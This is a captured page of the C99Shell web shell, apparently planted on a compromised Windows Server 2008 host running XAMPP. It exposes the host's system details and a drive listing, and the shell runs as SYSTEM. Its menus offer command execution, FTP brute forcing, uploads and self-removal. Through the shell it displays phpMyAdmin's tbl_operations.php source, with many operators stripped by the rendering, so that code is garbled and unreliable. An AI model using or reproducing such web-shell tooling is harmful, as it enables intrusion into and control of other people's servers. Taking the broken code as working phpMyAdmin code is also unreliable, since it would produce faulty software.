!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\phpMyAdmin\   drwxrwxrwx
Free 4.08 GB of 39.52 GB (10.32%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tbl_operations.php (19.34 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 *
 * @version $Id: tbl_operations.php 11027 2007-12-30 20:59:57Z lem9 $
 */

/**
 *
 */
require_once './libraries/common.inc.php';
require_once 
'./libraries/Table.class.php';

$pma_table = new PMA_Table($GLOBALS['table'], $GLOBALS['db']);

/**
 * Runs common work
 */
require './libraries/tbl_common.php';
$url_query .= '&amp;goto=tbl_operations.php&amp;back=tbl_operations.php';
$url_params['goto'] = $url_params['back'] = 'tbl_operations.php';

/**
 * Gets relation settings
 */
require_once './libraries/relation.lib.php';
$cfgRelation PMA_getRelationsParam();

/**
 * Gets available MySQL charsets and storage engines
 */
require_once './libraries/mysql_charsets.lib.php';
require_once 
'./libraries/StorageEngine.class.php';

// reselect current db (needed in some cases probably due to
// the calling of relation.lib.php)
PMA_DBI_select_db($GLOBALS['db']);

/**
 * Gets tables informations
 */

require './libraries/tbl_info.inc.php';

$reread_info false;
$errors = array();
$table_alters = array();

/**
 * Updates table comment, type and options if required
 */
if (isset($_REQUEST['submitoptions'])) {
    
$message '';
    if (isset(
$_REQUEST['new_name'])) {
        if (
$pma_table->rename($_REQUEST['new_name'])) {
            
$message .= $pma_table->getLastMessage();
            
$GLOBALS['table'] = $pma_table->getName();;
            
$reread_info true;
            
$reload true;
        } else {
            
$errors[] = $pma_table->getLastError();
            
$message .= $pma_table->getLastError();
        }
    }
    if (isset(
$_REQUEST['comment'])
      && 
urldecode($_REQUEST['prev_comment']) !== $_REQUEST['comment']) {
        
$table_alters[] = 'COMMENT = \'' PMA_sqlAddslashes($_REQUEST['comment']) . '\'';
    }
    if (! empty(
$_REQUEST['new_tbl_type'])
      && 
strtolower($_REQUEST['new_tbl_type']) !== strtolower($tbl_type)) {
        
$table_alters[] = PMA_ENGINE_KEYWORD ' = ' $_REQUEST['new_tbl_type'];
        
$tbl_type $_REQUEST['new_tbl_type'];
    }

    if (! empty(
$_REQUEST['tbl_collation'])
      && 
$_REQUEST['tbl_collation'] !== $tbl_collation) {
        
$table_alters[] = 'DEFAULT ' PMA_generateCharsetQueryPart($_REQUEST['tbl_collation']);
    }

    
$l_tbl_type strtolower($tbl_type);

    if ((
$l_tbl_type === 'myisam' || $l_tbl_type === 'isam')
      && isset(
$_REQUEST['new_pack_keys'])
      && 
$_REQUEST['new_pack_keys'] != (string)$pack_keys) {
        
$table_alters[] = 'pack_keys = ' $_REQUEST['new_pack_keys'];
    }

    
$checksum = empty($checksum) ? '0' '1';
    
$_REQUEST['new_checksum'] = empty($_REQUEST['new_checksum']) ? '0' '1';
    if ((
$l_tbl_type === 'myisam')
      && 
$_REQUEST['new_checksum'] !== $checksum) {
        
$table_alters[] = 'checksum = ' $_REQUEST['new_checksum'];
    }

    
$delay_key_write = empty($delay_key_write) ? '0' '1';
    
$_REQUEST['new_delay_key_write'] = empty($_REQUEST['new_delay_key_write']) ? '0' '1';
    if ((
$l_tbl_type === 'myisam')
      && 
$_REQUEST['new_delay_key_write'] !== $delay_key_write) {
        
$table_alters[] = 'delay_key_write = ' $_REQUEST['new_delay_key_write'];
    }

    if ((
$l_tbl_type === 'myisam' || $l_tbl_type === 'innodb')
      &&  ! empty(
$_REQUEST['new_auto_increment'])
      && (! isset(
$auto_increment) || $_REQUEST['new_auto_increment'] !== $auto_increment)) {
        
$table_alters[] = 'auto_increment = ' PMA_sqlAddslashes($_REQUEST['new_auto_increment']);
    }

    if (
count($table_alters) > 0) {
        
$sql_query      'ALTER TABLE ' PMA_backquote($GLOBALS['table']);
        
$sql_query     .= "\r\n" implode("\r\n"$table_alters);
        
$message        .= PMA_DBI_query($sql_query) ? $strSuccess $strError;
        
$reread_info    true;
        unset(
$table_alters);
    }
}
/**
 * Reordering the table has been requested by the user
 */
if (isset($_REQUEST['submitorderby']) && ! empty($_REQUEST['order_field'])) {
    
$sql_query '
        ALTER TABLE ' 
PMA_backquote($GLOBALS['table']) . '
        ORDER BY ' 
PMA_backquote(urldecode($_REQUEST['order_field']));
    if (isset(
$_REQUEST['order_order']) && $_REQUEST['order_order'] === 'desc') {
        
$sql_query .= ' DESC';
    }
    
$message PMA_DBI_query($sql_query) ? $strSuccess $strError;
// end if


if ($reread_info) {
    
$checksum $delay_key_write 0;
    require 
'./libraries/tbl_info.inc.php';
}
unset(
$reread_info);

/**
 * Displays top menu links
 */
require_once './libraries/tbl_links.inc.php';

$url_params['goto'] = 'tbl_operations.php';
$url_params['back'] = 'tbl_operations.php';

/**
 * Get columns names
 */
$local_query '
    SHOW COLUMNS
    FROM ' 
PMA_backquote($GLOBALS['table']) . '
    FROM ' 
PMA_backquote($GLOBALS['db']);
$columns PMA_DBI_fetch_result($local_querynull'Field');
unset(
$local_query);

/**
 * Displays the page
 */
?>
<!-- Order the table -->
<div id="div_table_order">
<form method="post" action="tbl_operations.php">
<?php echo PMA_generate_common_hidden_inputs($GLOBALS['db'], $GLOBALS['table']); ?>
<fieldset id="fieldset_table_order">
    <legend><?php echo $strAlterOrderBy?></legend>
    <select name="order_field">
<?php
foreach ($columns as $fieldname) {
    echo 
'            <option value="' htmlspecialchars($fieldname) . '">'
        
htmlspecialchars($fieldname) . '</option>' "\n";
}
unset(
$columns);
?>
    </select> <?php echo $strSingly?>
    <select name="order_order">
        <option value="asc"><?php echo $strAscending?></option>
        <option value="desc"><?php echo $strDescending?></option>
    </select>
    <input type="submit" name="submitorderby" value="<?php echo $strGo?>" />
</fieldset>
</form>
</div>

<!-- Move table -->
<div id="div_table_rename">
<form method="post" action="tbl_move_copy.php"
    onsubmit="return emptyFormElements(this, 'new_name')">
<?php echo PMA_generate_common_hidden_inputs($GLOBALS['db'], $GLOBALS['table']); ?>
<input type="hidden" name="reload" value="1" />
<input type="hidden" name="what" value="data" />
<fieldset id="fieldset_table_rename">
    <legend><?php echo $strMoveTable?></legend>
<?php if ($GLOBALS['PMA_List_Database']->count() > $GLOBALS['cfg']['MaxDbList']) {
?>
    <input type="text" maxlength="100" size="30" name="target_db" value="<?php echo htmlspecialchars($GLOBALS['db']); ?>"/>
<?php
    
} else {
?>
    <select name="target_db">
        <?php echo $GLOBALS['PMA_List_Database']->getHtmlOptions(truefalse); ?>
    </select>
<?php 
    
// end if
?>
    &nbsp;<b>.</b>&nbsp;
    <input type="text" size="20" name="new_name" onfocus="this.select()"
value="<?php echo htmlspecialchars($GLOBALS['table']); ?>" /><br />
    <?php
    
// starting with MySQL 5.0.24, SHOW CREATE TABLE includes the AUTO_INCREMENT
    // next value but users can decide if they want it or not for the operation
    
?>
    <input type="checkbox" name="sql_auto_increment" value="1" id="checkbox_auto_increment_mv" checked="checked" />
    <label for="checkbox_auto_increment_mv"><?php echo $strAddAutoIncrement?></label><br />
</fieldset>
<fieldset class="tblFooters">
    <input type="submit" name="submit_move" value="<?php echo $strGo?>" />
</fieldset>
</form>
</div>

<?php
if (strstr($show_comment'; InnoDB free') === false) {
    if (
strstr($show_comment'InnoDB free') === false) {
        
// only user entered comment
        
$comment $show_comment;
    } else {
        
// here we have just InnoDB generated part
        
$comment '';
    }
} else {
    
// remove InnoDB comment from end, just the minimal part (*? is non greedy)
    
$comment preg_replace('@; InnoDB free:.*?$@'''$show_comment);
}

// PACK_KEYS: MyISAM or ISAM
// DELAY_KEY_WRITE, CHECKSUM, : MyISAM only
// AUTO_INCREMENT: MyISAM and InnoDB since 5.0.3

// nijel: Here should be version check for InnoDB, however it is supported
// in >5.0.4, >4.1.12 and >4.0.11, so I decided not to
// check for version
?>

<!-- Table options -->
<div id="div_table_options">
<form method="post" action="tbl_operations.php">
<?php echo PMA_generate_common_hidden_inputs($GLOBALS['db'], $GLOBALS['table']); ?>
<input type="hidden" name="reload" value="1" />
<fieldset>
    <legend><?php echo $strTableOptions?></legend>

    <table>
    <!-- Change table name -->
    <tr><td><?php echo $strRenameTable?></td>
        <td><input type="text" size="20" name="new_name" onfocus="this.select()"
                value="<?php echo htmlspecialchars($GLOBALS['table']); ?>" />
        </td>
    </tr>

    <!-- Table comments -->
    <tr><td><?php echo $strTableComments?></td>
        <td><input type="text" name="comment" maxlength="60" size="30"
                value="<?php echo htmlspecialchars($comment); ?>" onfocus="this.select()" />
            <input type="hidden" name="prev_comment" value="<?php echo urlencode($comment); ?>" />
        </td>
    </tr>

    <!-- Storage engine -->
    <tr><td><?php echo $strStorageEngine?>
            <?php echo PMA_showMySQLDocu('Storage_engines''Storage_engines'); ?>
        </td>
        <td><?php echo PMA_StorageEngine::getHtmlSelect('new_tbl_type'null$tbl_type); ?>
        </td>
    </tr>

<?php
if (PMA_MYSQL_INT_VERSION >= 40100) {
    
?>
    <!-- Table character set -->
    <tr><td><?php echo $strCollation?></td>
        <td><?php echo PMA_generateCharsetDropdownBox(PMA_CSDROPDOWN_COLLATION,
                
'tbl_collation'null$tbl_collationfalse3); ?>
        </td>
    </tr>
    <?php
}
if (
$tbl_type == 'MYISAM' || $tbl_type == 'ISAM') {
    
?>
    <tr>
        <td><label for="new_pack_keys">pack_keys</label></td>
        <td><select name="new_pack_keys" id="new_pack_keys">
                <option value="DEFAULT"
                    <?php if ($pack_keys == 'DEFAULT') echo 'selected="selected"'?>
                    >DEFAULT</option>
                <option value="0"
                    <?php if ($pack_keys == '0') echo 'selected="selected"'?>
                    >0</option>
                <option value="1"
                    <?php if ($pack_keys == '1') echo 'selected="selected"'?>
                    >1</option>
            </select>
        </td>
    </tr>
    <?php
// end if (MYISAM|ISAM)

if ($tbl_type == 'MYISAM') {
    
?>
    <tr><td><label for="new_checksum">checksum</label></td>
        <td><input type="checkbox" name="new_checksum" id="new_checksum"
                value="1"
    <?php echo (isset($checksum) && $checksum == 1)
        ? 
' checked="checked"'
        
''?> />
        </td>
    </tr>

    <tr><td><label for="new_delay_key_write">delay_key_write</label></td>
        <td><input type="checkbox" name="new_delay_key_write" id="new_delay_key_write"
                value="1"
    <?php echo (isset($delay_key_write) && $delay_key_write == 1)
        ? 
' checked="checked"'
        
''?> />
        </td>
    </tr>

    <?php
// end if (MYISAM)

if (isset($auto_increment) && strlen($auto_increment) > 0
  
&& ($tbl_type == 'MYISAM' || $tbl_type == 'INNODB')) {
    
?>
    <tr><td><label for="auto_increment_opt">auto_increment</label></td>
        <td><input type="text" name="new_auto_increment" id="auto_increment_opt"
                value="<?php echo $auto_increment?>" /></td>
    </tr>
    <?php
// end if (MYISAM|INNODB)
?>
    </table>
</fieldset>
<fieldset class="tblFooters">
        <input type="submit" name="submitoptions" value="<?php echo $strGo?>" />
</fieldset>
</form>
</div>

<!-- Copy table -->
<div id="div_table_copy">
<form method="post" action="tbl_move_copy.php"
    onsubmit="return emptyFormElements(this, 'new_name')">
<?php echo PMA_generate_common_hidden_inputs($GLOBALS['db'], $GLOBALS['table']); ?>
<input type="hidden" name="reload" value="1" />
<fieldset>
    <legend><?php echo $strCopyTable?></legend>
<?php if ($GLOBALS['PMA_List_Database']->count() > $GLOBALS['cfg']['MaxDbList']) {
?>
    <input type="text" maxlength="100" size="30" name="target_db" value="<?php echo htmlspecialchars($GLOBALS['db']); ?>"/>
<?php
    
} else {
?>
    <select name="target_db">
        <?php echo $GLOBALS['PMA_List_Database']->getHtmlOptions(truefalse); ?>
    </select>
<?php 
    
// end if
?>
    &nbsp;<b>.</b>&nbsp;
    <input type="text" size="20" name="new_name" onfocus="this.select()" /><br />

    <input type="radio" name="what" value="structure" id="radio_copy_structure" />
    <label for="radio_copy_structure"><?php echo $strStrucOnly?></label><br />
    <input type="radio" name="what" value="data" id="radio_copy_data" checked="checked" />
    <label for="radio_copy_data"><?php echo $strStrucData?></label><br />
    <input type="radio" name="what" value="dataonly" id="radio_copy_dataonly" />
    <label for="radio_copy_dataonly"><?php echo $strDataOnly?></label><br />

    <input type="checkbox" name="drop_if_exists" value="true" id="checkbox_drop" />
    <label for="checkbox_drop"><?php echo sprintf($strAddClause'DROP TABLE'); ?></label><br />
    <input type="checkbox" name="sql_auto_increment" value="1" id="checkbox_auto_increment_cp" />
    <label for="checkbox_auto_increment_cp"><?php echo $strAddAutoIncrement?></label><br />
    <?php
        
// display "Add constraints" choice only if there are
        // foreign keys
        
if (PMA_getForeigners($GLOBALS['db'], $GLOBALS['table'], '''innodb')) {
        
?>
    <input type="checkbox" name="add_constraints" value="1" id="checkbox_constraints" />
    <label for="checkbox_constraints"><?php echo $strAddConstraints?></label><br />
        <?php
        
// endif
        
if (isset($_COOKIE['pma_switch_to_new'])
          && 
$_COOKIE['pma_switch_to_new'] == 'true') {
            
$pma_switch_to_new 'true';
        }
    
?>
    <input type="checkbox" name="switch_to_new" value="true"
        id="checkbox_switch"<?php echo
            isset(
$pma_switch_to_new) && $pma_switch_to_new == 'true'
            
' checked="checked"'
            
''?> />
    <label for="checkbox_switch"><?php echo $strSwitchToTable?></label>
</fieldset>
<fieldset class="tblFooters">
    <input type="submit" name="submit_copy" value="<?php echo $strGo?>" />
</fieldset>
</form>
</div>

<br class="clearfloat"/>

<h1><?php echo $strTableMaintenance?></h1>

<ul>
<?php
if ($tbl_type == 'MYISAM' || $tbl_type == 'BERKELEYDB' || $tbl_type == 'INNODB') {
    if (
$tbl_type == 'MYISAM' || $tbl_type == 'INNODB') {
        
$this_url_params array_merge($url_params,
            array(
'sql_query' => 'CHECK TABLE ' PMA_backquote($GLOBALS['table'])));
        
?>
    <li><a href="sql.php<?php echo PMA_generate_common_url($this_url_params); ?>">
            <?php echo $strCheckTable?></a>
        <?php echo PMA_showMySQLDocu('MySQL_Database_Administration''CHECK_TABLE'); ?>
    </li>
        <?php
    
}
    if (
$tbl_type == 'INNODB') {
        
$this_url_params array_merge($url_params,
            array(
'sql_query' => 'ALTER TABLE ' PMA_backquote($GLOBALS['table']) . ' ' PMA_ENGINE_KEYWORD '=InnoDB'));
        
?>
    <li><a href="sql.php<?php echo PMA_generate_common_url($this_url_params); ?>">
            <?php echo $strDefragment?></a>
        <?php echo PMA_showMySQLDocu('Table_types''InnoDB_File_Defragmenting'); ?>
    </li>
        <?php
    
}
    if (
$tbl_type == 'MYISAM' || $tbl_type == 'BERKELEYDB') {
        
$this_url_params array_merge($url_params,
            array(
'sql_query' => 'ANALYZE TABLE ' PMA_backquote($GLOBALS['table'])));
        
?>
    <li><a href="sql.php<?php echo PMA_generate_common_url($this_url_params); ?>">
            <?php echo $strAnalyzeTable?></a>
        <?php echo PMA_showMySQLDocu('MySQL_Database_Administration''ANALYZE_TABLE');?>
    </li>
        <?php
    
}
    if (
$tbl_type == 'MYISAM') {
        
$this_url_params array_merge($url_params,
            array(
'sql_query' => 'REPAIR TABLE ' PMA_backquote($GLOBALS['table'])));
        
?>
    <li><a href="sql.php<?php echo PMA_generate_common_url($this_url_params); ?>">
            <?php echo $strRepairTable?></a>
        <?php echo PMA_showMySQLDocu('MySQL_Database_Administration''REPAIR_TABLE'); ?>
    </li>
        <?php
    
}
    if (
$tbl_type == 'MYISAM' || $tbl_type == 'BERKELEYDB' || $tbl_type == 'INNODB') {
        
$this_url_params array_merge($url_params,
            array(
'sql_query' => 'OPTIMIZE TABLE ' PMA_backquote($GLOBALS['table'])));
        
?>
    <li><a href="sql.php<?php echo PMA_generate_common_url($this_url_params); ?>">
            <?php echo $strOptimizeTable?></a>
        <?php echo PMA_showMySQLDocu('MySQL_Database_Administration''OPTIMIZE_TABLE'); ?>
    </li>
        <?php
    
}
// end MYISAM or BERKELEYDB case
$this_url_params array_merge($url_params,
    array(
        
'sql_query' => 'FLUSH TABLE ' PMA_backquote($GLOBALS['table']),
        
'zero_rows' => sprintf($strTableHasBeenFlushed,
            
htmlspecialchars($GLOBALS['table'])),
        
'reload'    => 1,
        ));
?>
    <li><a href="sql.php<?php echo PMA_generate_common_url($this_url_params); ?>">
            <?php echo $strFlushTable?></a>
        <?php echo PMA_showMySQLDocu('MySQL_Database_Administration''FLUSH'); ?>
    </li>
</ul>
<?php
// Referential integrity check
// The Referential integrity check was intended for the non-InnoDB
// tables for which the relations are defined in pmadb
// so I assume that if the current table is InnoDB, I don't display
// this choice (InnoDB maintains integrity by itself)

if ($cfgRelation['relwork'] && $tbl_type != "INNODB") {

    
// we need this PMA_DBI_select_db if the user has access to more than one db
    // and $GLOBALS['db'] is not the last of the list, because
    // PMA_List_Database::_checkAccess()
    // has made a PMA_DBI_select_db() on the last one
    
PMA_DBI_select_db($GLOBALS['db']);
    
$foreign PMA_getForeigners($GLOBALS['db'], $GLOBALS['table']);

    if (
$foreign) {
        
?>
    <!-- Referential integrity check -->
    <ul>
        <?php echo $strReferentialIntegrity?><br />
        <?php
        
echo "\n";
        foreach (
$foreign AS $master => $arr) {
            
$join_query  'SELECT ' PMA_backquote($GLOBALS['table']) . '.* FROM '
                         
PMA_backquote($GLOBALS['table']) . ' LEFT JOIN '
                         
PMA_backquote($arr['foreign_table']);
            if (
$arr['foreign_table'] == $GLOBALS['table']) {
                
$foreign_table $GLOBALS['table'] . '1';
                
$join_query .= ' AS ' PMA_backquote($foreign_table);
            } else {
                
$foreign_table $arr['foreign_table'];
            }
            
$join_query .= ' ON '
                         
PMA_backquote($GLOBALS['table']) . '.' PMA_backquote($master)
                         . 
' = ' PMA_backquote($foreign_table) . '.' PMA_backquote($arr['foreign_field'])
                         . 
' WHERE '
                         
PMA_backquote($foreign_table) . '.' PMA_backquote($arr['foreign_field'])
                         . 
' IS NULL AND '
                         
PMA_backquote($GLOBALS['table']) . '.' PMA_backquote($master)
                         . 
' IS NOT NULL';
            
$this_url_params array_merge($url_params,
                array(
'sql_query' => $join_query));
            echo 
'        <li>'
                 
'<a href="sql.php'
                 
PMA_generate_common_url($this_url_params)
                 . 
'">' $master '&nbsp;->&nbsp;' $arr['foreign_table'] . '.' $arr['foreign_field']
                 . 
'</a></li>' "\n";
        } 
//  foreach $foreign
        
unset($foreign_table$join_query);
        
?>
    </ul>
        <?php
    
// end if ($result)

// end  if (!empty($cfg['Server']['relation']))


/**
 * Displays the footer
 */
require_once './libraries/footer.inc.php';
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--